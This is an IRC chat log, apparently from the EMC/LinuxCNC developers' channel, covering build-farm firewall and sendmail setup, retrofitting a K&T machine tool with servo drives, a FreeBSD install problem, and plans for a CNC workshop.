[02:47:07] <cradek> yeah that's just usual sendmail config, no ssl
[02:47:10] <jmkasunich> (kmail worked fine when I was on dialup att)
[02:47:26] <jmkasunich> I'll still need something like that to start with tho
[02:47:44] <jmkasunich> (I'm a complete sendmail novice, I've heard it was hard to configure and stayed far far away from it)
[02:48:05] <cradek> I've used it forever, so even though it's complex, I don't know anything else
[02:48:54] <jmkasunich> anyway, my agenda for the farm is: get all the existing scripts (and the new every 5 minute thing) into cvs
[02:49:02] <cradek> ok
[02:49:05] <jmkasunich> make new checkouts on the slots
[02:49:28] <jmkasunich> do some mv'ing to put the emc/rcslib/emc2 checkouts under the new farm_scripts checkouts
[02:49:35] <jmkasunich> and get it all working with the existing stuff
[02:49:49] <cradek> is the freebsd box off?
[02:49:54] <jmkasunich> no
[02:50:01] <jmkasunich> thats why I asked you about your IP
[02:50:08] <cradek> isn't port 22 supposed to hook me to it?
[02:50:16] <jmkasunich> some packets from _and_ to that box were blocked
[02:50:35] <jmkasunich> your initial packet(s) must have gotten thru, or there wouldn;t be any going out to you
[02:50:48] <jmkasunich> have to look at the firewall rules again, maybe I accidently closed the hole
[02:51:24] <jmkasunich> (my default is to reject any packet not explicitly accepted by a rule)
[02:56:33] <jmkasunich> try again
[03:02:42] <jmkasunich> any luck?
[03:08:43] <cradek> yes
[03:08:57] <cradek> what changed?
[03:09:24] <jmkasunich> I changed the iptables riles
[03:09:27] <jmkasunich> rules
[03:09:35] <jmkasunich> I was letting in the packet that opens the connection
[03:09:40] <jmkasunich> but not the ones that followed
[03:10:22] <jmkasunich> I think when we first did the install I opened it way up trying to get the ftp to work
[03:10:30] <jmkasunich> couple days ago I tightened it back up
[03:10:35] <cradek> aha
[03:10:48] <jmkasunich> I didn't have the specific rules needed for your ssh, you were going in thru the big hole
[03:11:25] <jmkasunich> I can
[03:11:32] <jmkasunich> can't find my ppmc card
[03:11:38] <cradek> uh-oh
[03:11:41] <jmkasunich> lost in this cesspit I call a basement
[03:14:00] <jmkasunich> found it
[03:14:04] <jmkasunich> in a box on a shelf
[03:43:52] <jmkasunich> cd ..
[04:07:26] <jmkasunich> damn
[04:07:35] <jmkasunich> no wget on the oldest farm slot
[04:17:13] <cradek> compiler?
[04:17:49] <cradek> I can't figure out how to make sendmail use smtps to talk to its smarthost... it's possible it can't do that (smtps is an obsolete protocol I guess)
[04:19:01] <cradek> but I do notice that outgoing port 25 connections are not blocked
[04:19:29] <cradek> so you can send most mail (some folks block mails coming from a dynamic IP address)
[04:24:27] <jmkasunich> I really doubt att will accept mail sent to port 25
[04:24:49] <jmkasunich> re: wget - downloaded, but the make won't
[04:25:26] <jmkasunich> struct sockaddr_storage makes it unhappy, investigating now
[04:31:26] <cradek> att won't, but everyone else does
[04:32:45] <jmkasunich> IOW I can use everybody else to spam the world? I thought it would be locked down tighter than that
[04:33:04] <cradek> not really, very few mail hosts will relay today
[04:33:21] <cradek> but to send mail to me at timeguy, your machine can contact timeguy directly
[04:33:33] <jmkasunich> oh, I see
[04:33:42] <jmkasunich> I can send mail directly to a host that I know
[04:34:18] <cradek> well your sendmail will decide where to send for you according to MX records
[12:16:13] <jepler> jmkasunich: bdi2 is based on redhat6, right? there's a wget rpm.
http://archive.download.redhat.com/pub/redhat/linux/6.2/en/os/i386/RedHat/RPMS/wget-1.5.3-6.i386.rpm
[13:22:08] <rayh> Hey SkunkWorks.
[13:31:22] <SkunkWorks> morning
[13:31:31] <SkunkWorks> friday finally
[13:33:03] <SkunkWorks> how is the halui coming?
[13:33:24] <SkunkWorks> * SkunkWorks really needs to play with hal and cl more.
[13:39:07] <SkunkWorks> I can't remember - did you see this?
http://www.electronicsam.com/images/KandT/DSC_0242.JPG - it is what I would like to get drives for.
[13:43:18] <rayh> phone but looking at image.
[13:46:38] <rayh> Talked with roltek about that tool changer.
[13:47:06] <rayh> We agreed that the old rings on the tool holder is a red-herring as far as HAL
[13:47:41] <SkunkWorks> I did to a little bit. he said k&t abandoned random posision tool changing.
[13:47:41] <rayh> I'll write up a spec for the HAL module to handle it properly.
[13:48:07] <rayh> But you can't with this tool changer.
[13:48:10] <SkunkWorks> nice - thanks ray.
[13:48:43] <rayh> Selfish motive. I need the module for Mazak.
[13:48:56] <SkunkWorks> could with extra hardware - i could think of a few ideas. But I like the rings ;)
[13:48:59] <rayh> one extra column in the table will not be a lot of extra work.
[13:49:27] <rayh> No need for rings. HAL keeps track of pockets and which tool is in each.
[13:49:49] <rayh> That is the way it's done on most carousels without the intermediate arm.
[13:50:47] <rayh> That motor has just a tach on the back or is the tach stacked on the encoder/resolver.
[13:51:21] <SkunkWorks> the tach is internal on the end - then a resolver mounted behind that (what you can see)
[13:51:35] <rayh> Ah. Okay.
[13:51:39] <SkunkWorks> should be easy to replace with a encoder.
[13:51:57] <rayh> You are going to replace the drives?
[13:52:06] <rayh> amps that is.
[13:53:14] <rayh> MattS has built resolver shaped spindles that take a usdigital encoder.
[13:53:49] <rayh> Uses the same flex coupling and the same mounting as these resolvers.
[13:53:57] <SkunkWorks> these are from a diffent cnc machine that we were able to plunder. This is what we want to replace the hydrolic servos on the k&t with
[13:54:14] <rayh> Sure.
[13:54:15] <SkunkWorks> neat
[13:54:45] <SkunkWorks> all we got was the servos and the final amp stage (scr's)
[13:55:15] <rayh> A ServoDynamics amp ought to run them easily.
[13:55:42] <rayh> Mounting ball screws may be the bigger job.
[13:55:46] <SkunkWorks> we where looking at those also. I sure would rather use servocard/servoamps than step/dir
[13:56:03] <rayh> Anytime.
[13:56:08] <SkunkWorks> mounting ball screws?
[13:56:22] <rayh> I spec'd rutex for a project and now wish I hadn't.
[13:56:47] <rayh> I tracked down Vlad, the rutex guy on the phone.
[13:57:24] <rayh> Made him commit to two more years of the 990H. "Oh yea no problem"
[13:57:33] <rayh> and in less than a year, he bails.
[13:57:44] <SkunkWorks> nice.
[13:58:17] <rayh> I tried.
[13:58:31] <rayh> Full servo has a real advantage with EMC.
[13:58:33] <rayh> I
[13:58:36] <rayh> ve
[13:58:48] <SkunkWorks> how is the machine running? with the rutex?
[13:58:52] <rayh> set up a m5i20 with little motors.
[13:59:26] <rayh> It does okay. The motors are a bit high impedence for the drive to really power.
[13:59:38] <rayh> Accuracy is good.
[14:00:04] <rayh> accel is a bit slow and the motor is a bit squishy at zero speed.
[14:00:21] <SkunkWorks> thats good. what did you mean by munting ball screws? the k&t has some really nice ball screws on all 3 axis's
[14:00:46] <rayh> Oh it was just hydraulic motors to drive em. Sorry.
[14:01:00] <SkunkWorks> right.
[14:01:00] <rayh> I converted a hydrapoint that used cylinders.
[14:01:09] <rayh> was thinking of that.
[14:01:12] <SkunkWorks> ok - that would be a pain.
[14:01:14] <SkunkWorks> :)
[14:01:33] <rayh> Yes it was.
[14:02:24] <rayh> On this one you just need to adapt the motor mounts and couplings.
[14:02:30] <rayh> That shouldn't be to bad.
[14:03:11] <SkunkWorks> right - the hardest one is probably going to be z as it doesn't have a servo mounted - but we have not dug into it yet.
[14:03:51] <rayh> Z is under the x table?
[14:04:35] <SkunkWorks> no - on top. the run shafts and crap to get the x servo drive up to there 2.5 axis
[14:06:03] <rayh> So X lays on the floor with z stacked on that.
[14:06:13] <rayh> then rotary, then pallet.
[14:06:17] <SkunkWorks> right
[14:06:26] <rayh> Okay.
[14:06:50] <rayh> And what you have to do is remove the shafts that ran Z and put a motor in there someplace.
[14:07:33] <SkunkWorks> right. we have not looked at the blueprints yet to see how it gets up there. who knows - they might be spinning the nut on z
[14:08:04] <rayh> So that's your biggest mechanical challenge.
[14:08:41] <SkunkWorks> right - then y as there is not much room. and x "should" be the easiest.
[14:08:55] <rayh> Okay.
[14:09:06] <rayh> On the electrical/electronic side.
[14:09:21] <rayh> I'd use SD drives or equivalent
[14:09:53] <rayh> The top of the line, usdigital encoders. $220 each
[14:10:11] <rayh> and 2 Mesa m5i20 cards.
[14:10:50] <rayh> Then we'd have to get PeteV or PeteW to write an HAL m5i20-IO module.
[14:11:19] <SkunkWorks> why mesa over montec? price?
[14:11:22] <rayh> From there is just wiring and HAL configuratio.
[14:11:43] <SkunkWorks> lots more i/o?
[14:11:53] <rayh> Price and the fact that a single spare m5i20 card can handle both jobs.
[14:12:55] <rayh> So $600 gets you 4 axis of servo, up to 4 axes of handwheel, and 96 IO at a minimum.
[14:13:21] <rayh> without the breakout cards.
[14:14:13] <SkunkWorks> thank for all your help - I know you do this for a living.
[14:14:36] <rayh> not much living in it these days.
[14:14:57] <rayh> I'm thinking of black box EMC operation these days.
[14:15:37] <rayh> 586 slot computer, 2-m5i20 cards, 3 slot backplane.
[14:15:49] <rayh> and all of the control from a palm running linux.
[14:16:33] <SkunkWorks> thats pretty cool.
[14:17:36] <rayh> All my shop buddies bitch about the idea of a palm handling user interface.
[14:17:59] <rayh> So some of the tasks like cycle start get buttons.
[14:18:06] <rayh> or palm.
[14:18:20] <SkunkWorks> I use a palm to monitor my car engine ;)
[14:18:42] <rayh> Really! Through the car computer?
[14:19:29] <SkunkWorks> right
http://www.electronicsam.com/images/palm4times.jpg
[14:20:03] <rayh> Interesting idea.
[14:20:04] <SkunkWorks> (I didn't write it but had some input.)
[14:20:35] <rayh> fantastic.
[14:21:07] <rayh> Will it let you diddle the pid on speed control?
[14:21:34] <rayh> I spose that's hard coded.
[14:21:37] <SkunkWorks> ?
[14:22:00] <rayh> The cruise control is a servo system.
[14:22:10] <rayh> With PID calculations.
[14:22:35] <rayh> Some cars come with awful tuning.
[14:23:04] <SkunkWorks> no - this is stirictly reading. (can pull and erase check engine codes) - also run solinoid
[14:23:34] <rayh> Lot of "engineering" in there.
[14:23:53] <rayh> phone.
[15:19:31] <SkunkWorks> I use a separate fuel controller for tuning.
[15:32:19] <rayh> back
[15:39:29] <SkunkWorks> I think I may be at the workshop - maybe fri/sat/sun
[15:39:39] <SkunkWorks> cradek talked me into it. ;)
[15:39:59] <cradek> yay
[15:40:24] <SkunkWorks> for the swapmeet and demonstartions
[15:40:55] <rayh> Great. I'll see you there.
[15:40:57] <cradek> yeah if you don't want to spend the whole week, that's going to be the fun time I bet
[15:41:21] <rayh> Sunday slows down a lot as folk run off into the night.
[15:41:34] <rayh> Friday and Sat are big days.
[15:42:37] <SkunkWorks> I sure would like to be in on the emc classes though (now that I have been reading the schedule)
[15:42:51] <SkunkWorks> I don't know if I can pull a week though
[15:43:04] <rayh> You do what you can.
[15:43:06] <SkunkWorks> would those classes be taped by chance? ;)
[15:43:23] <SkunkWorks> for a nominal fee
[15:43:34] <rayh> There will be handouts. Don't know about taping and how well it would work with a projector.
[15:47:15] <SkunkWorks> the hal and ladder logic are "of interest"
[15:48:11] <rayh> Good stuff.
[15:49:41] <SkunkWorks> we looked it up - just over a 5 hour drive. Not bad at all.
[15:56:17] <rayh> rayh is now known as rayh-away
[16:44:31] <rayh-away> calibration didn't save one variable in the m5i20 ini file.
[16:45:02] <rayh-away> Took a long time for me to discover that there were extra whitespace in the .hal file.
[16:45:22] <rayh-away> fixed now.
[16:51:32] <SkunkWorks> i hate issues like that.
[16:54:32] <rayh-away> Yea.
[18:15:01] <SWPadnos> hello, peoples
[18:15:07] <alex_joni> hi Swampy
[18:15:22] <SWPadnos> how are things?
[18:15:35] <alex_joni> ok, I guess
[18:15:42] <alex_joni> I'm trying to install a freebsd
[18:15:49] <alex_joni> but it's not cooperating at all
[18:16:14] <alex_joni> I changed the PC, changed the HDD having the same problems :(
[18:16:29] <SWPadnos> bummer
[18:16:37] <SWPadnos> have you heard of Coverity?
[18:16:45] <alex_joni> no, but I know poverty
[18:16:54] <SWPadnos> heh
[18:17:08] <SWPadnos> http://scan.coverity.com/
[18:17:14] <rayh-away> Hey Steven is back or at least back on line.
[18:17:16] <alex_joni> create/symlink failed, no inodes free
[18:17:17] <SWPadnos> they have a very good source code scanner
[18:17:24] <SWPadnos> online for a few hours
[18:17:26] <alex_joni> SWPadnos: does that sound OK for an installer?
[18:17:44] <SWPadnos> only if you have a 100M install partition
[18:17:50] <alex_joni> pid 110 (cpio), uid 0 inumber 511 on /: out of inodes
[18:18:02] <alex_joni> this happens after 1.3MB downloaded stuff
[18:18:13] <alex_joni> I had an 8 GB hdd, now it's 20G
[18:18:51] <alex_joni> different PC, hdd controller, cable, hdd, PSU, everything
[18:18:52] <SWPadnos> that should be plenty. maybe the partition was made with some weird option that limits the number of inodes
[18:18:54] <alex_joni> same problem
[18:19:07] <SWPadnos> but 1.3M is almost nothing these days
[18:19:10] <alex_joni> SWPadnos: I tried a single big /, or any other combo to no avail
[18:19:25] <SWPadnos> you reformatted the partitions during install?
[18:19:36] <alex_joni> yup, installer took care of it
[18:19:53] <SWPadnos> hmmm -then I have no idea
[18:20:04] <SWPadnos> I haven't tried any BSD in years
[18:20:51] <SWPadnos> so - on the coverity thing - I think it may be a good idea to have them do automatic scans of emc
[18:26:39] <rayh-away> rayh-away is now known as rayh
[18:26:53] <jepler> alex_joni: sounds like the installer is creating a filesystem with a really bogus number of inodes. You should ask cradek if there's some trick; he's a freebsd users.
[18:26:58] <jepler> er, he's just one user
[18:27:43] <alex_joni> jepler: I already have asked him quite a few times..
[18:27:48] <jepler> oh
[18:27:50] <alex_joni> and I did try all kinds of setups
[18:27:51] <jepler> well he must be useless then
[18:27:56] <alex_joni> he has no clue
[18:28:02] <cradek> hey
[18:28:10] <alex_joni> it's a really weird problem
[18:28:18] <cradek> I can't possibly imagine what's wrong
[18:28:23] <alex_joni> cradek: not that you have no clue in general, about this you have no clue
[18:28:27] <alex_joni> and I don't either
[18:29:00] <rayh> Ah cradek's here. Question about ubuntu and "authentication required" message.
[18:29:08] <alex_joni> I SUSPECTED A FSCKED HDD first
[18:29:19] <alex_joni> ooops, sorry :)
[18:31:45] <jepler> rayh: are you going to ask your question?
[18:32:25] <rayh> The problem I have is with several packages --gedit for example.
[18:32:54] <rayh> When I open a file there I get this message about authentication required.
[18:33:09] <rayh> It keeps poppin up several times and I click cancel.
[18:33:13] <jepler> I've never seen that, but then I don't use gedit.
[18:33:26] <jepler> what file are you opening?
[18:33:31] <rayh> Then if finally opens the file selection widget.
[18:33:47] <rayh> It does it on any file. The reference is to ftp.lyx.org.
[18:34:01] <rayh> So somehow it things I want to open something there.
[18:34:21] <rayh> I got no answer from the #ubuntu
[18:34:32] <jepler> How are you starting gedit? Are you choosing it from the Application menu?
[18:34:56] <rayh> That or clicking on a text file.
[18:35:13] <rayh> That works fine but when I want to open a second file it does that.
[18:35:29] <rayh> I'm guessing it has something to do with active directory.
[18:35:34] <rayh> but I know nothing.
[18:36:01] <cradek> what's the exact message?
[18:37:04] <alex_joni> cradek: I can pass some custom stuff to 'newfs -O2' anything that might help?
[18:37:30] <rayh> Kerry,
[18:37:30] <rayh> We'll add the DNS entry for you today. It's covered under your yearly domain
[18:37:30] <rayh> registration charge.
[18:37:30] <rayh> Chris.
[18:37:30] <rayh> Chris Hayes
[18:37:31] <rayh> General Manager and Resident Oracle
[18:37:33] <rayh> IAS.Net
[18:38:48] <cradek> alex_joni: let's go through it together (later)
[18:38:59] <cradek> alex_joni: you don't typically need to do anything special.
[18:39:06] <alex_joni> cradek: :(
[18:39:33] <alex_joni> cradek: did you ever use static ip's when installing from ftp?
[18:39:33] <rayh> It is a window that comes upl
[18:46:06] <jepler> rayh: does it look like this?
http://emergent.unpy.net/files/sandbox/Screenshot-Authentication%20Required.png
[18:47:11] <jepler> rayh: I got that by creating an incorrect shortcut to ftp.lyx.org on my desktop, starting gedit, opening a file, and clicking the shortcut which appeared in the open dialog.
[18:47:26] <jepler> rayh: it's possible you might get it under different circumstances, such as by gedit remembering the last folder you were in
[18:48:28] <jepler> rayh: I'd start by troubleshooting -- removing a bogus shortcut from your desktop if there is one, otherwise trying to make sure gedit isn't defaulting to a strange location when it opens files, or opening a file that was open in an earlier gedit session
[18:49:48] <rayh> Yep that's real close to it. There is another check box but yes.
[18:50:19] <cradek> alex_joni: not with freebsd6, but yes
[18:50:47] <rayh> Okay. That gives me a place to start.
[18:50:50] <rayh> Thanks.
[18:51:51] <SWPadnos> rayh: do you have any idea how much current would be needed for the high voltage tachometer output?
[18:53:40] <rayh> a few mili volts.
[18:53:56] <rayh> feeds a adc.
[18:53:58] <SWPadnos> milliamps?
[18:54:12] <rayh> sorry. ben a hectic day.
[18:54:19] <SWPadnos> heh - tell me about it
[18:56:07] <SWPadnos> somewhere in there is a voltage divider
[18:56:27] <SWPadnos> I suspect the ADC deosn't directly accept 110V signals
[18:58:41] <rayh> I'm sure that must be true but we are dealing with 60's tech here.
[18:58:49] <jepler> SWPadnos: When coverity first announced their scanner, Python was one of the projects they scanned. I wasn't actually able to see the results of the scans (they were showing them only to "maintainers") but from the discussion on the python-dev list I never got the impression that it had uncovered any "real important" flaws. I also got the impression that they choose the projects to scan, rather than the other way around.
[18:58:53] <rayh> hence the 18.3 volts per thousand.
[18:59:14] <SWPadnos> rayh: Just thinking it through
[18:59:21] <jepler> SWPadnos: do you have some additional experience with coverity that makes you excited about their product/service?
[18:59:23] <rayh> Sure.
[18:59:31] <SWPadnos> jepler: you emailo ben@coverity.com (I think), and ask them to add your project
[19:00:06] <SWPadnos> jepler: I had heard of the product long ago (it started out as the Stanford Checker)
[19:00:41] <jepler> Yeah, I heard of Stanford Checker BITD.
[19:00:50] <jepler> when they were scanning the linux kernel
[19:00:52] <SWPadnos> their tools can't tell if the scanned software is correct (algorithmically), but they can find a lot of possible errors
[19:00:55] <SWPadnos> yep - they still do
[19:01:07] <SWPadnos> and a lot of the "bugs" are false positives in the kernel
[19:01:30] <jepler> I think the python folks also had a big false-positive count
[19:01:49] <SWPadnos> I talked to a couple of guys from the company, and it seemed like it could be helpful
[19:02:05] <SWPadnos> I'm not sure how many "bad practices" are in emc, vs. outright bugs ;)
[19:05:28] <SWPadnos> argh - the wiki seems to be having trouble
[19:05:58] <jepler> viewing or editing pages?
[19:06:02] <SWPadnos> viewing
[19:06:16] <jepler> recently I've gotten errors doing either one, but reloading will work eventually
[19:06:22] <SWPadnos> An error has been encountered in accessing this page.
[19:06:23] <SWPadnos> 1. Server: wiki.linuxcnc.org
[19:06:25] <SWPadnos> 2. URL path: /cgi-bin/emcinfo.pl/
[19:06:26] <SWPadnos> 3. Error notes: couldn\'t spawn child process: /home/groups/e/em/emc/cgi-bin/emcinfo.pl
[19:06:28] <SWPadnos> 4. Error type: 500
[19:06:29] <SWPadnos> 5. Request method: GET
[19:06:31] <SWPadnos> 6. Request query string:
[19:06:32] <SWPadnos> 7. Time: 2006-04-07 12:05:16 PDT (1144436716)
[19:06:34] <SWPadnos> (etc etc)
[19:06:44] <SWPadnos> ok - 3 or 4 reloads seems to help
[19:06:49] <jepler> that's the same error I get
[19:07:03] <SWPadnos> oh crap - I stll need to register for CNC workshop
[19:08:35] <rayh> I get those 500 errors lately as well.
[19:08:44] <rayh> Time to move the wiki.
[19:09:06] <SWPadnos> it seems that the recent SF server upgrades were downgrades
[19:14:19] <rayh> It does, doesn't it.
[19:17:03] <SWPadnos> hmmm - maybe I should add the dates to the wiki fest/workshop page :)
[19:21:34] <rayh> What's the command I use to see how long it will be before a DNS change gets to me?
[19:21:59] <rayh> Do add the dates.
[19:22:21] <SWPadnos> you can use dig to get lots of info
[19:22:42] <SWPadnos> ok on the dates. are there no plans for the 20/21 dates?
[19:23:30] <rayh> ah dig that's it.
[19:24:13] <rayh> Saturday 20 is the auction. Sunday gets pretty slow by afternoon.
[19:24:39] <SWPadnos> ok
[19:28:46] <SWPadnos> oops - bbiab. time to get the laundry and lunch
[19:28:50] <SWPadnos> SWPadnos is now known as SWP_away
[19:53:44] <SWP_away> SWP_away is now known as SWPadnos
[23:26:36] <jmkasunich> evening guys
[23:27:09] <SWPadnos> hiya
[23:30:17] <SWPadnos> on that note, it's time for me to go.
[23:30:27] <jmkasunich> goodnight
[23:30:30] <SWPadnos> catch you guys later. Maybe Tuesday or so
[23:30:37] <jmkasunich> (or afternoon, if thats what it is there)
[23:30:38] <SWPadnos> it's hardly midafternoon here ;)
[23:30:41] <SWPadnos> heh
[23:31:08] <SWPadnos> one last thing - I may want to talk about C++ at fest. just a heads up ;)
[23:31:25] <jmkasunich> C++?
[23:31:27] <jmkasunich> eww
[23:31:33] <SWPadnos> heh - that's what they all sya
[23:31:35] <SWPadnos> say
[23:31:55] <jmkasunich> it has its place I suppose
[23:32:02] <jmkasunich> as long as that place is far from me
[23:32:10] <SWPadnos> you'd be surprised at the places it can be applied
[23:32:22] <SWPadnos> * SWPadnos took some courses on controlling hardware with c++
[23:34:23] <SWPadnos> anyway - fair warning. gotta go.
[23:34:31] <jmkasunich> laer
[23:34:33] <jmkasunich> later
